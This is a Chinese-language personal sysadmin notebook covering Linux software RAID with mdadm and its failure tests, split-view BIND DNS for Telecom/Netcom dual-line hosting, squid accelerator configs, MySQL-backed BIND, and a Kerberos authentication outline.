设为首页 - 加入收藏 焦点技术网
热搜:java
当前位置:首页 >

Linux System Administration

2013-09-22 19:08:00.0 linux linux 系统管理员  
导读:基本系统管理Linux Software RAID为何使用 Software RAID安装方案、实现和测试DNS/Bind9配置新拿到的域名为南北双线配置"变态" DNS南北双线 squid 加速MySQL Bind体系结构文件系统备份和镜像AA Center, KerberosAA 基本描述基本配置和测试pam_kerb5 login 和 accounts information 问题Windo...。。。


Linux 系统管理的一般性经验总结。目前这个文档只包含我在 2006 年 11 月 以后的技术经验上的总结,当然有些知识是在那之前就有了的。对于在此之前 所形成的笔记和文档,若我有时间则会加入其中。另外,目前还有很多零星的 笔记并不包含在内,大多数都写在了 blog 里面,有的甚至只有一个草稿。时间 实在是太紧张了。

基本系统管理

Linux Software RAID

为何使用 Software RAID

如果可以使用 Hardware RAID,在性能上自然是最好不过的。但目前市面上的 所谓的 Hardware RAID,大多数都只是 fake raid,即并不带有专门的处理芯片 来进行 RAID 的运算,而是需要依靠 CPU 来进行处理,其本质上和 Software RAID 就没有区别了。

Real hardware raid 基本上只有 PCI 卡类型的,比较难以买到,而且价格也 比较高。而一般所有板载的所谓 RAID 芯片都是 fake raid,使用 Linux 安装 程序一眼就可以分辨出来,因为它们根本就不被支持。

网上有一些文档说明这个问题,比较好的一个有: http://linuxmafia.com/faq/Hardware/sata.html

所以,出于成本上的考虑,Software RAID 就是一个不错的选择,实际的性能也 还是比较好的。Linux 的 RAID 使用 md(Multiple Devices) 功能,配套的管理 工具是 mdadm。

安装方案、实现和测试

虽然提供了 mdadm 这样的管理工具,但首先第一点是要将系统本身安装的 RAID 设备上,这时候就受到安装程序的限制。下面以 RHEL5 的安装作为例子,如果 使用 LFS,则应该可以直接利用 mdadm 工具,不过在调整时可能会稍微复杂一点 。

因为需要依赖于 CPU 的运算,所以最好不要使用 RAID5,而只使用 RAID0, RAID1 以及 RAID10。

由于 RHEL5 安装程序本身的限制,所以只能使用如下方式:现在共有 4 块完全 相同的物理磁盘,将每一块分成三分,

  sh# fdisk -l /dev/sda    Disk /dev/sda: 320.0 GB, 320071851520 bytes  255 heads, 63 sectors/track, 38913 cylinders  Units = cylinders of 16065 * 512 = 8225280 bytes       Device Boot      Start         End      Blocks   Id  System  /dev/sda1   *           1          63      506016   fd  Linux raid autodetect  /dev/sda2              64         188     1004062+  82  Linux swap / Solaris  /dev/sda3             189       38913   311058562+  fd  Linux raid autodetect

然后在 RHEL5 的安装界面中,在磁盘分区部分,将 /dev/sda1, /dev/sdb1, /dev/sdc1, /dev/sdd1 全部做成 RAID1 /dev/md0,并将系统的 /boot 分区安装 在 /dev/md0 上。这是因为 RHEL5 的安装程序不允许将 /boot 安装在其他类型 的 RAID 分区上,并且这样也可以使以后的维护更清晰和方便,因为可以将任意 一块磁盘都配置成可引导的磁盘。这在后面讨论。

这个操作等效于如下命令:

  sh# mdadm -Cv /dev/md0 -n4 -l1 /dev/sda1 /dev/sdb1 /dev/sdc1 /dev/sdd1

接着将 /dev/sda3, /dev/sdb3 和 /dev/sdc3, /dev/sdd3 分别两两配对,做成 RAID1 /dev/md1 和 /dev/md2,即:

  sh# mdadm -Cv /dev/md1 -n2 -l1 /dev/sda3 /dev/sdb3  sh# mdadm -Cv /dev/md2 -n2 -l1 /dev/sdc3 /dev/sdd3

接下来,对于 /dev/md1 和 /dev/md2,有两种选择方案,一种是在它们的基础上 建立 RAID0,即最终配置成 RAID10,另一种方案是将 /dev/md1 和 /dev/md2 直接作为 LVM 的 两块 PV。

对于方案一,等效的命令是:

  sh# mdadm -Cv /dev/md10 -n2 -l1 /dev/md1 /dev/md2

一般来说,先做 RAID1 再做 RAID0 是比较明智的,如果是 4 块磁盘,那么 RAID10 还是 RAID01 区别不大,但如果多于 4 块,则选择 RAID10 比较好。就 我各人的理解,以6 块磁盘为例,如果使用 RAID10,则 RAID1 这一层每一次 需要同时协调 3 个设备即 /dev/md1, /dev/md2, /dev/md3 实际上是 6 块物理 磁盘之间的同步,这比 3 个 RAID1 每次只需要协调两个物理磁盘直接的同步要 复杂,因此出错的概率也更大,相比之下,RAID0 只需要在 3 块设备直接协调, 同时 RAID0 也比RAID1 简单,应该更为可靠。

google "RAID10 vs RAID01",将得到更多有关的说明和解释。

不过在 RHEL5 的安装界面里并没有提供有关 RAID10 的选择,并且我也尝试了在 其命令行界面使用 mdadm 来手工创建 RAID10,但安装程序并不能正确识别(仍然 只能识别出两个 RAID1)。

一个变通的办法是将系统分为系统分区和非系统分区(占据大部分磁盘空间),对 系统分区全部使用 RAID1,待进入安装好的系统后,再对数据分区进行操作, 配置成 RAID10。

另外一种方法就是使用 RAID1+LVM,虽然可能无法完全达到 RAID10 的性能,但 应该也比较接近,因为 LVM 实际上也是会向不同的物理卷写如数据的。

这里采用后一种办法,因为我们首先关心的只是可靠性,只要可靠性可以到达 需求了,那么下面的一些测试就可以进行了。同时由于 LVM 的特性,这种方式也 有利于将来的磁盘空间的扩展。当然也是可以在 RAID10 的基础上做 LVM 的, 就是稍微麻烦一点而已。

不需要对交换分区做任何 RAID,它会被系统自动作为 RAID0 使用。

按照这种方法安装并启动系统之后,查看 /proc/mdstat:

  Personalities : [raid1]  md0 : active raid1 sdc1[2] sdd1[3] sdb1[0] sda1[1]        505920 blocks [4/3] [UU_U]        [=====>...............]  recovery = 25.6% (130624/505920) finish=0.0min speed=130624K/sec    md2 : active raid1 sdd3[1] sdc3[0]        311058496 blocks [2/2] [UU]    md1 : active raid1 sdb3[0] sda3[1]        311058496 blocks [2/2] [UU]    unused devices: 

第一次进入系统应该会开店向上面那样的同步状态。同步之后:

  sh# cat /proc/mdstat  Personalities : [raid1]  md0 : active raid1 sdd1[3] sdc1[2] sdb1[0] sda1[1]        505920 blocks [4/4] [UUUU]    md2 : active raid1 sdd3[1] sdc3[0]        311058496 blocks [2/2] [UU]    md1 : active raid1 sdb3[0] sda3[1]        311058496 blocks [2/2] [UU]    unused devices: 

另外,为了保证所有的主机都能够在任意一块磁盘(主要是指第一块磁盘)失败的 情况下都能够启动,需要将第一块磁盘的 MBR 信息拷贝到其他磁盘上:

  sh# dd if=/dev/sda of=/dev/sdb bs=512 count=1  sh# dd if=/dev/sda of=/dev/sdc bs=512 count=1  sh# dd if=/dev/sda of=/dev/sdd bs=512 count=1

当然也可以运行 GRUB 的指令来实现:

  grub> install (hd0,0)/grub/stage1 d (hd1) (hd0,0)/grub/stage2 p (hd0,0)/grub/grub.conf

我们需要做一些破坏测试,来看看 Linux Software RAID 到底有多强大,到底 能够给我们带来什么保障,并且其边界又在什么地方:

  1. 首先做最简单的测试,将主机关闭,拔除其中一块磁盘,这里为了测试启动的 有效性,拔掉第一块硬盘即 /dev/sda。系统可以正确启动,登录后查看 /proc/mdstat,大体上会是这个样子:
      sh# cat /proc/mdstat  Personalities : [raid1]  md0 : active raid1 sdc1[2] sdb1[0] sda1[1]        505920 blocks [4/4] [UUU_]    md2 : active raid1 sdc3[1] sdb3[0]        311058496 blocks [2/2] [UU]    md1 : active raid1 sda3[1]        311058496 blocks [2/2] [U_]    ...
    以"_"标明了失败的磁盘,此时系统仍然是可以正常使用的。注意磁盘的顺序下标 已经发生了变化!

  2. 单独 mount RAID1 的组成分区,或者格式化其组成分区:
      sh# mount /dev/sdb3 /mnt/test  # OR  sh# mkfs.ext3 /dev/sdb3
    在系统运行的时候这样做,因为这里将"/"分区放在了 RAID1 上了,所以是不 可能成功的,将得到"Device busy"这样的报告。那么重启到 rescue 模式,先 看看格式化的情况:
      sh# mkfs.ext3 /dev/sdb1
    是可以运行的。重新正常启动(我第一次启动的时候 GRUB 失败,报告 "GRUB DISK Error,但第二次就可以了),进入系统会发现 /dev/sdb1 被标明为失败, 而系统仍然可以正常运行。

  3. 再次进入 rescue 模式(跳过挂载 /mnt/sysimage 过程),mount /dev/sdb1, 可以发现其中的内容和 /boot 是完全一样的。向其中拷贝若干文件,删除其中的 若干文件,然后重新正常启动。

    一开始时可能还发现不了问题,但当需要访问 /boot 分区时,系统会报告错误:

      sh# ls /boot  ext3_abort called  Ext3-fs error (device md0): ext3_journal_start_sb: Detected aborted journal  Remounting filesystem read-only
    此时文件系统被以只读方式挂载,这意味这系统实际上是不能正常使用的,而 /proc/mdstat 中并没有显示 /dev/sdb1 为 failed。

  4. 第四中情况是直接删除一个组成分区,例如删除 /dev/sdb1。同样在 rescue 中操作,使用 fdisk 进行。再次正常启动系统时,在 Checking filesystem 阶段将报错并停止,只能进入但用户模式:
      /dev/md0:  Directory inode11, block 10, offset 0: directory corrupted  /dev/md0: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY  (.i.e, without -a or -p options)                          [FAILED]  *** An error occurred during the file system check  *** Dropping you to a shell; the system will reboot  *** When you leave the shell  ...

    系统始终无法启动,必须重新创建分区并做 fsck 才行。

  5. 接下来尝试打乱插线顺序的情况(我实测是在 SATA 上做的)。关闭主机以后, 将第二块磁盘和第三块磁盘对调,重启可正常运行,查看 /proc/mdstat 可以 发现盘符的对应关系实际上并没有变!
      md2:  sdd3  sdb3*  md1:  sdc3* sda3
    这里 sdc3 其实是原理的第二块硬盘。如果将第一和第四块对调:
      md2:  sdc3  sda3*  md1:  sdd3* sdb3
    将第一和第三对调同理。可见磁盘顺序颠倒也是没有问题的。对此的一个解释 是磁盘的 UUID。从 mdadm 的配置文件 /etc/mdadm.conf 中可以看到,每一个 RAID 设备都有一个 UUID,那么 md 应该是利用磁盘的 UUID 来获得唯一标识。

  6. 在系统正常运行的情况下,任何时候都可以通过运行:
      sh# mdadm -Ds >/etc/mdadm.conf
    来获得配置文件其 /etc/mdadm.conf。我曾经尝试将这个配置文件删除,重启 系统可以正常运行,这至少说明 /etc/mdadm.conf 对系统分区没有影响。那么 是不是对数据分区也没有影响(也就是在安装了系统之后在创建的 RAID 设备)呢?

    而且,在这里的情况下,我还尝试过更改 /etc/mdadm.conf 的内容如下:

      # mdadm.conf written by anaconda  # DEVICE partitions  # comment  DEVICE /dev/sda3 /dev/sdd3  # add  ARRAY /dev/md1 level=raid1 num-devices=2 UUID=...  DEVICE /dev/sdb3 /dev/sdc3  # add  ARRAY /dev/md1 level=raid1 num-devices=2 UUID=...  ...
    即注释了原来的 DEVICE 配置,增添特定的配置并故意打乱了顺序,结果发现 系统仍然能够正常运行。当然这可能也还是也系统"/"分区有关。

  7. 以上的情况都太过于特殊化了。我们最常要防备的是磁盘上出现损坏的物理 簇的情况,当然我们不可能通过在主机运行是砸坏一块磁盘来进行测试,但可以 通过物理上的热拔插来实现。

    最好在拥有背板连接的 SCSI 硬盘上来进行尝试。安装上面的安装方案,将 Linux 安装在 4 块 SCSI 硬盘上。然后在系统运行的时候,拔掉其中一块磁盘, 比如第二块。这时标准输出上会打印出错信息:

      end_request: I/O error, dev sdb, sector 49739  raid1: sdb1: rescheduling sector 49676  ...  raid1: disk failure on sdb1, disabling device  Operation continuing on 3 devices  raid1: sdd1: redirecting sector 49676 to another mirror  RAID 1 conf output:  disk 0, wo:0, o:1, dev:sda1  disk 1, wo:1, o:0, dev:sdb1  disk 2, wo:0: o:1, dev:sdc1  disk 3: wo:0, o:1, dev:sdd1
    可能不会立即输出错误,而是当系统需要访问磁盘时才会报告如上错误。 /dev/md1(/dev/sda3, /dev/sdb3) 也会出现同样的错误,这些错误应该都能够 在 syslog(/var/log/messages) 中看到。同时,在 /proc/mdstat 中应该显示:
      Personalities : [raid1]  md0 : active raid1 sdd1[3] sdc1[2] sdb1[0](F) sda1[1]        505920 blocks [4/4] [UU_U]    md2 : active raid1 sdd3[1] sdc3[0](F)        311058496 blocks [2/2] [U_]    md1 : active raid1 sdb3[0] sda3[1]        311058496 blocks [2/2] [UU]    unused devices: 
    "_"和(F)都标明了失败的分区。

    此时,可以通过热插入新的磁盘来恢复。插入磁盘后,运行:

      sh# mdadm /dev/md0 -r /dev/sdb1  sh# mdadm /dev/md1 -r /dev/sdb3
    来将老的分区删除,再运行:
      sh# mdadm /dev/md0 -a /dev/sdb1  sh# mdadm /dev/md1 -a /dev/sdb3
    来安装新的分区,此时系统会做一个 recovery 重新同步磁盘数据,可以通过查看 /proc/mdstat 来获知进度,就象第一次启动系统时那样。

  8. 那么,如果把这 4 块硬盘上到另一台主机上呢?

DNS/Bind9

配置新拿到的域名

当拿到一个新的域名的时候,这个域名默认仍然还是由域名提供商的 DNS 服务器 来做解析的。例如,wdwd.com 这个域名是由 ns.xinnetdns.com 和 ns2.xinnet.com 解析的,wdwd.cn 这样域名则是由 ns1.dns.com.cn 和 ns2.dns.com.cn 解析的。可以从域名提供商提供的 Web 页面后台进入,查看“ 修改本域名下的 DNS”看到,用 dig -t NS wdwd.com 这样的命令也可以看到。

如果没有什么特殊需求,那么直接使用这些 DNS 服务器来进行解析就足够了。 可以在后台的管理页面增加相应的 A/CNAME 和 NS 记录。

如果有特殊需求,例如我现在需要利用 MySQL Bind 来做为查询的数据库,这样 可以编写自己的 ASP 管理程序,能够响应任何用户的请求并自动建立相应的二级 域名主机 A/CNAME 记录,因为域名提供商提供的管理页面只能由管理员手工编辑 ,所以我需要将 DNS 服务器定位到自己能够管理的主机上。

注意,虽然管理页面有 NS 记录,但这个 NS 记录只能针对这个域的子域,而 不能把对这个域本身的查询通过 NS 或 SOA 记录授权到另一台主机。例如 wdwd.com 这个域,如果要将它的 NS 记录定位到 ns1.wdwd.com,那么必须 在 .com 的 DNS 服务器中有:

  wdwd.com        IN  NS  ns1.wdwd.com.  ns1.wdwd.com    IN  A   124.74.193.211 

这样的记录。因为当你的客户端请求它指定的解析器时,这个解析器实际上是做 一个递归查询(如果它不能直接从缓存里面找到解析结果),也就是首先从根服务 器查起。

域名提供商一般都提供了这样的界面来完成这件事。进入后台后,到“注册本 域名下的 DNS”,添加 ns1.wdwd.com 和相应的 IP 地址,当然可以再相应添加 ns2.wdwd.com。在“修改本域名下的 DNS”页面里把原来老的删除。

一般页面只会返回“操作成功”、“操作失败”这样的信息,不会有更多说明, 所以如果遇到什么问题也只能与域名提供商联系。

例如对 wdwd.cn 这个域名进行操作就总是返回“操作失败”,在找过他们很多次 之后,得到的一个解释就是:我指定的这个 DNS 即 124.74.193.211 已经被 注册过 DNS 了。就是说可能以前已经做过“注册本域名下的 DNS”这个操作, 或者被其他域名注册过了!我自己是没有做过的,所以只可能是后者。后来我 换用了另一个 IP 例如 124.74.193.216,发现的确我第一次操作成功后,再做 一次就一定会返回失败。

这是一个非常奇怪的问题,因为对其他域名例如 .com 的域名就从来没有这样的 问题。这只能说明一个问题——这是一个政策问题,而不是技术问题。

这只不过是走向更严密控制的漫漫征途上的一步。我们离《1984》还有多远?

为南北双线配置"变态" DNS

如今南北互通竟然成了一个问题,为了让网通的用户能够访问在电信的虚拟主机 ,办法就是在网通那边上一个 squid 做缓存。这需要对域名的解析做些变化, 当然是希望从电信来的用户走电信的通路,从网通来的走网通的缓存。

注意,这里所谓电信和网通的用户不仅只是指客户的 PC 机所使用的 IP 地址, 也包括他们所使用的 DNS 域名服务器的 IP 范围,因为实际的查询是由他们指定 的 DNS Server 提交到这个域名服务器,再由它们将查询结果返回给客户主机的。

所以对 BIND9 做如下配置:

  sh# cat /etc/named.conf  options {          directory "/var/named";          allow-query { any; };          recursion yes;          allow-transfer { none; };          dump-file "/var/named/data/cache_dump.db";          statistics-file "/var/named/data/named_stats.txt";          listen-on { 192.168.0.222; };  };  logging {          channel "querylog" {                  file "/var/log/named.log" versions 3 size 100m;                  print-time yes;                  print-severity yes;          };          category queries { querylog; };  };    acl cnc_ip {  192.168.0.222;  58.16.0.0/13;  58.100.0.0/15;  58.211.0.0/16;  58.240.0.0/12;  60.0.0.0/11;  60.52.145.0/24;  60.55.0.0/24;  60.194.192.0/24;  60.208.0.0/12;  61.4.64/20;  61.14.128.0/23;  61.29.146.0/23;  61.48.0.0/13;  ......  };    view "from_cnc" {      match-clients { cnc_ip; };      zone "." {          type hint;          file "named.ca";      };      zone "0.0.127.in-addr.arpa" {          type master;          file "named.local";      };        zone "example.com" {          type master;          file "example.com.cnc_zone";          allow-update { none; };      };  };    view "from_telcom" {      match-clients { any; };      zone "." {          type hint;          file "named.ca";      };      zone "0.0.127.in-addr.arpa" {          type master;          file "named.local";      };        zone "example.com" {          type master;          file "example.com.zone";          allow-update { none; };      };  };    sh# cat example.com.zone  ;  ; BIND data file for local loopback interface  ;  $TTL    10  $ORIGIN example.com.  @       IN      SOA     example.com. admin.example.com. (          2006120602      ; Serial          10s             ; Refresh          10              ; Retry          10              ; Expire          10 )            ; Negative Cache TTL          IN      NS      ns1.example.com.  ns1     IN      A       192.168.0.222  @       IN      A       124.74.193.210  www     IN      A       192.168.0.210  bbs     IN      CNAME   www  test    IN      A       124.74.193.210    sh# cat example.com.cnc_zone  ;  ; BIND data file for local loopback interface  ;  $TTL    10  $ORIGIN example.com.  @       IN      SOA     example.com. admin.example.com. (          2006120602      ; Serial          10s             ; Refresh          10              ; Retry          10              ; Expire          10 )            ; Negative Cache TTL          IN      NS      ns1.example.com.  ns1     IN      A       192.168.0.222  @       IN      A       210.51.46.227  www     IN      A       192.168.0.210  bbs     IN      CNAME   www  test    IN      A       210.51.46.227

然后可以使用 dig 来查看结果。首先在 acl cnc_ip{} 部分不加入 192.168.0.222(本机),则运行 dig:

  sh# dig test.example.com @192.168.0.222  ;; ANSWER SECTION:  test.example.com.       10      IN      A       124.74.193.210

而 acl cnc_ip{} 部分加上本机地址后:

  sh# dig test.example.com @192.168.0.222  ;; ANSWER SECTION:  test.example.com.       10      IN      A       210.51.46.227

这种办法解析针对不同来源的 client 到不同的 IP,但与通常的DDNS(动态域名 服务)又不同,而实际上又不是那么"智能",所以只好命名为"变态" DNS 了 !^_^

这种办法不一定很好,但我也不知道有什么其他的办法,这也是从别人那学来的。 不过以我看来,是不太愿意在这些问题上浪费太多的时间的。"再多的天才也不能 胜任对细节的专注",问题是层出不穷,永远也解决不完的("吾生也有涯,而知也 无涯,以有涯随无涯,殆矣"),但是一个好的设计却可以避免很多问题,特别是 那些机械重复的、本来应该由机器来处理的问题。

如果某个客户,比如是网通的用户,他查询的结果不对,也就是查出的结果到 电信去了,那么先看看他本身的 IP 地址是否在 cnc_ip 的范围之内,如果在 其中,则查看他指定的 DNS 服务器的 IP 地址是否在那个范围之内,如果不在, 则可以通过一些办法来估算,比如 202.99.96.68 这个地址,可以从 http://www.ip138.com/ 这个站点上来查一下,分别看一下 202.99.1.68 和 202.99.255.68 是否在网通,如果在,则可以断定 202.99.0.0/16 这个网段是 属于网通的,然后可以再扩大范围,看看 202.98.* 和 202.100.* 等。

相关问题

默认情况下,DNS 都会使用递归查询。通过迭代查询,可以获得查询的路径,即 对域名是如何被解析的得到一个直观印象。可以通过运行

  sh$ dig +trace www.example.com (@server)

来进行查询。

在 "变态"DNS 中曾经讨论过为双线设置 DNS 的方法。但最近发现虽然设置了主 从 DNS 服务器,但还是老会被解析到网通的服务器,即使是电信的 DNS 服务器 ,也会得到网通的结果。用 dig +trace 也看不出所以然来。

后来发现网通的 slave DNS 的两个域文件(电信 .zone 和 网通 .cnc_zone)的 内容完全一样。原来从服务器同步的时候,因为地址是网通的,所以主服务器只 会返回网通的结果。这样看来,从主服务器之间也是通过 53 端口传递数据并且 也受 acl view 规则的影响。

要解决这个问题,复杂一点的办法是从服务器绑定两个 IP 地址,主服务器的 两个 view 设置不同的 allow-transfer {},从服务器的两个 view 设置两个 transfer-source $ipaddr,可参考: http://www.chinalinuxpub.com/read.php?wid=1452

简单点的办法就是把两个都设置成主的 DNS 并手工同步。

南北双线 squid 加速

所谓“双线”,其实也只是伪双线,就是找个网通和电信访问都比较快的机房, 配置 squid 缓存加速主机,结合前面的"变态" DNS 通过分别在网通和电信的 squid 加速器再连接这个中间的桥接加速器。

包括前面"变态" DNS 解析的整个流程大致可以用下图表示:

  请使用等宽字体显示    网通                      (10)<----------\                                     |                              +-------------+     /-- user ------(5)------>| squid_accel |<---\     |    A                   +-------------+    |    (1)   |                              |       |     |   (4)                             |       |     V    |                              |       |   +----------+                          |       |   | user_dns |                         (6)     (9)   +----------+                          |       |       |    A                            |       |      (2)   |                            |       |       |   (3)                           |       |       V    |                            V       |      +--------+                       +--------------+  *** | My_DNS | ********************* | bridge_accel | ******      +--------+                       +--------------+                                         |       A                                        (7)      |                                         |      (8)                                         V       |                           +----------------+    |                           | www.sample.com |----/                           +----------------+  电信    (1) 网通用户主机向网通的某一 DNS 服务器发送查询请求  (2) 网通 DNS 服务器递归查询授权 DNS 服务器,如果已经缓存,则直接跳到(4)  (3) 授权的 DNS 为"变态" DNS,根据 user_dns 的 IP 给出网通加速器的结果,  而不是实际网站的地址  (4) 网通 DNS 将查询结果返回给用户  (5) 网通客户端连接网通的 squid 加速器,如果已经缓存,则直接跳到(10)  (6) 网通加速器询问桥接加速器获得结果,如果已经缓存,则直接跳到(9)  (7) 桥接加速器访问实际站点页面  (8) 站点返回页面,桥接加速器缓存之  (9) 桥接加速器返回缓存结果  (10) 网通加速器返回缓存结果

将这个过程反过来,就可以得到从电信到网通的通路,从而也就得到了所谓的 双线。

相关的 squid 加速器的配置文件如下: 电信加速器:

  /etc/squid/squid.conf  http_port 80  cache_dir ufs /var/spool/squid 2048 16 1000  cache_mem 3 GB  visible_hostname accel-telcom.shopex.cn  cache_effective_user squid  cache_effective_group squid  # httpd_accel_host virtual  # httpd_accel_single_host off  httpd_accel_single_host on  cache_mem 3000 MB  httpd_accel_host 210.14.65.69  httpd_accel_port 81  httpd_accel_uses_host_header on  # httpd_accel_with_proxy on    acl acceleratedProtocol protocol HTTP  acl acceleratedPort port 80  # access arc  acl all src 0.0.0.0/0.0.0.0  acl manager proto cache_object  http_access allow all  cachemgr_passwd pass all

网通加速器:

  http_port 80  cache_dir ufs /var/spool/squid 1024 16 1000  cache_mem 1 GB  visible_hostname shopex  cache_effective_user squid  cache_effective_group squid  # httpd_accel_host virtual  # httpd_accel_single_host off  httpd_accel_single_host on  cache_mem 1000 MB  httpd_accel_host 210.14.65.69  httpd_accel_port 82  httpd_accel_uses_host_header on  #httpd_accel_with_proxy on    acl acceleratedProtocol protocol HTTP  acl acceleratedPort port 80  # access arc  acl all src 0.0.0.0/0.0.0.0  acl manager proto cache_object  http_access allow all  cachemgr_passwd pass all

注意它们都是以 httpd_accel_single_host on 参数,这样使它们只能连接和 缓存桥接加速器的内容,防止被其他人滥用。

另外,注意它们使用的端口 httpd_accel_port,这是目标的端口,也就是在桥接 加速器上为这两个加速器分别开设的端口。

桥接加速器,网通到电信:

  # Accelerator for users of CNC, to Telcom  # So CNC --> Telcom  visible_hostname cache.shopex.cn  cache_dir ufs /var/spool/squid 2048 16 256  cache_mem 2048 MB  cache_effective_user squid  cache_effective_group squid  http_port 82  httpd_accel_host virtual  httpd_accel_single_host off  # httpd_accel_single_host on  httpd_accel_port 80  # httpd_accel_host 210.51.46.227  httpd_accel_uses_host_header on  #httpd_accel_with_proxy on  # dns_nameservers 202.96.209.5 205.252.144.228  # dns_nameservers 219.233.241.166 211.167.97.67 202.109.72.72 202.96.209.6 205.252.144.228  # dns_nameservers 124.74.193.220 211.167.97.67 205.252.144.228  dns_nameservers 124.74.193.220  # dns_nameservers 202.96.209.5 202.96.199.133  acl acceleratedProtocol protocol HTTP  acl acceleratedPort port 82  # access src  acl all src 0.0.0.0/0.0.0.0  acl cnc_cache src 210.51.46.227/255.255.255.255  acl manager proto cache_object  #http_access allow cnc_cache  #http_access deny all    #access dest  acl p01 dst 124.74.193.213/255.255.255.255  acl p02 dst 124.74.193.214/255.255.255.255  acl p11 dst 210.51.46.220/255.255.255.255  acl shopexmain dst 124.74.193.210/255.255.255.255  acl vps002 dst 61.152.76.64/255.255.255.255  acl vps003 dst 61.152.76.66/255.255.255.255  acl vps004 dst 61.152.76.45/255.255.255.255  acl vps005 dst 61.152.76.78/255.255.255.255  acl alldst dst 0.0.0.0/0.0.0.0  http_access allow p01  http_access allow p02  http_access allow p11  http_access allow shopexmain  http_access allow vps002  http_access allow vps003  http_access allow vps004  http_access allow vps005  http_access deny alldst    cachemgr_passwd pass all

桥接加速器,电信到网通:

  # Accelerator for users of Telcom, to CNC  # So Telcom --> CNC  visible_hostname cache.shopex.cn  cache_dir ufs /var/spool/squid-telcom 2048 16 256  pid_filename /usr/local/squid/var/logs-telcom/squid.pid  cache_store_log /usr/local/squid/var/logs-telcom/store.log  cache_log /usr/local/squid/var/logs-telcom/cache.log  cache_access_log /usr/local/squid/var/logs-telcom/access.log  cache_mem 2048 MB  cache_effective_user squid  cache_effective_group squid  http_port 81  httpd_accel_host virtual  httpd_accel_single_host off  # httpd_accel_single_host on  httpd_accel_port 80  # httpd_accel_host 210.51.46.227  httpd_accel_uses_host_header on  #httpd_accel_with_proxy on  dns_nameservers 210.22.70.3 210.22.84.3  acl acceleratedProtocol protocol HTTP  acl acceleratedPort port 81  # access arc  acl all src 0.0.0.0/0.0.0.0  acl telcom_cache src 124.74.193.220/255.255.255.255  acl manager proto cache_object    #access dest  acl p01 dst 124.74.193.213/255.255.255.255  acl p02 dst 124.74.193.214/255.255.255.255  acl p11 dst 210.51.46.220/255.255.255.255  acl shopexmain dst 124.74.193.210/255.255.255.255  acl henan_test dst 218.28.55.237/255.255.255.255  acl alldst dst 0.0.0.0/0.0.0.0  http_access allow p01  http_access allow p02  http_access allow p11  http_access allow shopexmain  http_access allow henan_test  http_access deny alldst    cachemgr_passwd pass all

相应的,这里设置了 http_access,基本上只允许电信和网通的加速器进行连接 以防止被其他人滥用。

MySQL Bind

Documentation

从 http://sourceforge.net/projects/mysql-bind/ 下载 mysql-bind 包,同时 下载 bind9 的源代码包(bind-9.3.4-P1),解开两个包,安装 Documentation 的 说明将 mysql-bind 的 mysqldb.c 和 mysqldb.h 分别拷贝到 bind-9.3.4-P1/bin/named 和 bind-9.3.4-P1/bin/named/include,然后可以 制作一个 patch 文件:

  sh# diff -Naur bind-9.3.4-P1/ bind-9.3.4-P1.new/

接下来安装过程就可以直接使用 patch 文件:

  sh# cat .config  pkgname = "bind";  version = "9.3.4";  user = "bind";  groups = "";  group = "bind";  archive = "bind-9.3.4-P1.tar.gz";  patch = "mysql-bind-9.3.4.patch";  command = "tar xfz bind-9.3.4-P1.tar.gz";  command = "cd bind-9.3.4-P1";  command = "patch -Np1 -i ../mysql-bind-9.3.4.patch";  command = "./configure --prefix=/usr --sysconfdir=/etc --enable-threads --with-libtool --localstatedir=/var";  command = "make";  command = "make install";  command = "cd ..";  command = "rm -rf bind-9.3.4-P1";  time = "20070911 11:00:41 Tue";

然后编辑配置文件:

  sh# vi /etc/named.conf  ...  zone "wdwd.com" {          type master;          notify no;          database "mysqldb bind wdwd_com localhost bind bind";          // file "shopex.cn.zone";  };  ....

并创建数据库和表:

  mysql> CREATE DATABASE bind;  mysql> USE bind;  mysql> CREATE TABLE `wdwd_com` (    `id` int(10) unsigned NOT NULL auto_increment,    `name` varchar(255) default NULL,    `ttl` int(11) default NULL,    `rdtype` varchar(255) default NULL,    `rdata` varchar(255) default NULL,    PRIMARY KEY  (`id`),    KEY `name` (`name`),    KEY `rdata` (`rdata`),    KEY `rdtype` (`rdtype`)  ) ENGINE=MyISAM AUTO_INCREMENT=23360 DEFAULT CHARSET=latin1  mysql> GRANT ALL PRIVILEGES ON bind.* TO 'bind'@'localhost' IDENTIFIED BY 'bind';

然后就可以使用页面如 php 程序根据用户的需求增加域名解析条目,只需要插入 相应的记录就可以了。当然最开始还是要插入基本的 SOA 记录和 NS 记录:

  INSERT INTO mydomain VALUES ('mydomain.com', 259200, 'SOA', 'mydomain.com. www.mydomain.com. 200309181 28800 7200 86400 28800');  INSERT INTO mydomain VALUES ('mydomain.com', 259200, 'NS', 'ns1.mydomain.com.');  INSERT INTO mydomain VALUES ('mydomain.com', 259200, 'NS', 'ns2.mydomain.com.');  INSERT INTO mydomain VALUES ('mydomain.com', 259200, 'MX', '10 mail.mydomain.com.');   INSERT INTO mydomain VALUES ('ns1.mydomain.com', 259200, 'A', '192.168.1.1');  INSERT INTO mydomain VALUES ('ns2.mydomain.com', 259200, 'A', '192.168.1.2'); 

使用 MySQL Bind 就无法使用 Bind 的主从设置了,不过可以利用 MySQL replication 的主从设置同步数据。

体系结构

文件系统备份和镜像

中文文档:URL__BACKUP_AND_MIRRORING_ZH_CN 英文文档:URL__BACKUP_AND_MIRRORING

AA Center, Kerberos

AA 基本描述

AA 即 Authentication 和 Authorization,认证和授权。在企业的架构体系中,主要的目标就是要能够统一帐户和认证信息,比如我希望 http svn, ssh login, samba 等都可以使用同一个帐户来登录,而不是为每一个服务创建不同的帐户,你当然可以使用同样的用户名的密码,但实际上这些帐户却并不同步,修改一个并不能同时修改另一个,而且各个服务的密码加密方法不同,有些服务的密码强度不够,甚至使用明文传送,那么根据最短板原理,整个系统的安全性就大有问题了。

授权是另一个方面的问题,以决定一个帐户能做什么。对于集中认证机制来说,应该就是我可以使用哪些服务了。

我打算采用 Kerberos 来实现集中认证。关于 Kerberos 的基本原理,可以参考 [Kerberos 的原理] 一文。这篇文章比较有趣,但为了更清楚的说明,做一个图来说明。

Kerberos 是一个三方认证体系,所以有 KDC, Client 和 Server 三台主机吧

        /---------->[KDC]        |    /--------/        |    |       (1)  (2)        |    |        |    V        Client------(3)------>Server  (1) Authentication REQUEST to KDC  (2) KDC_REPLAY      KDC_REPLAY = TICKET, OTHER      OTHER = {client, server, K_session}K_user      TICKET = {client, server, start_time, lifetime, K_session}K_Server  (3) Authentication REQUEST to Server      REQUEST = AUTHENTICATOR, TICKET      AUTHENTICATOR = {user, addr}K_session

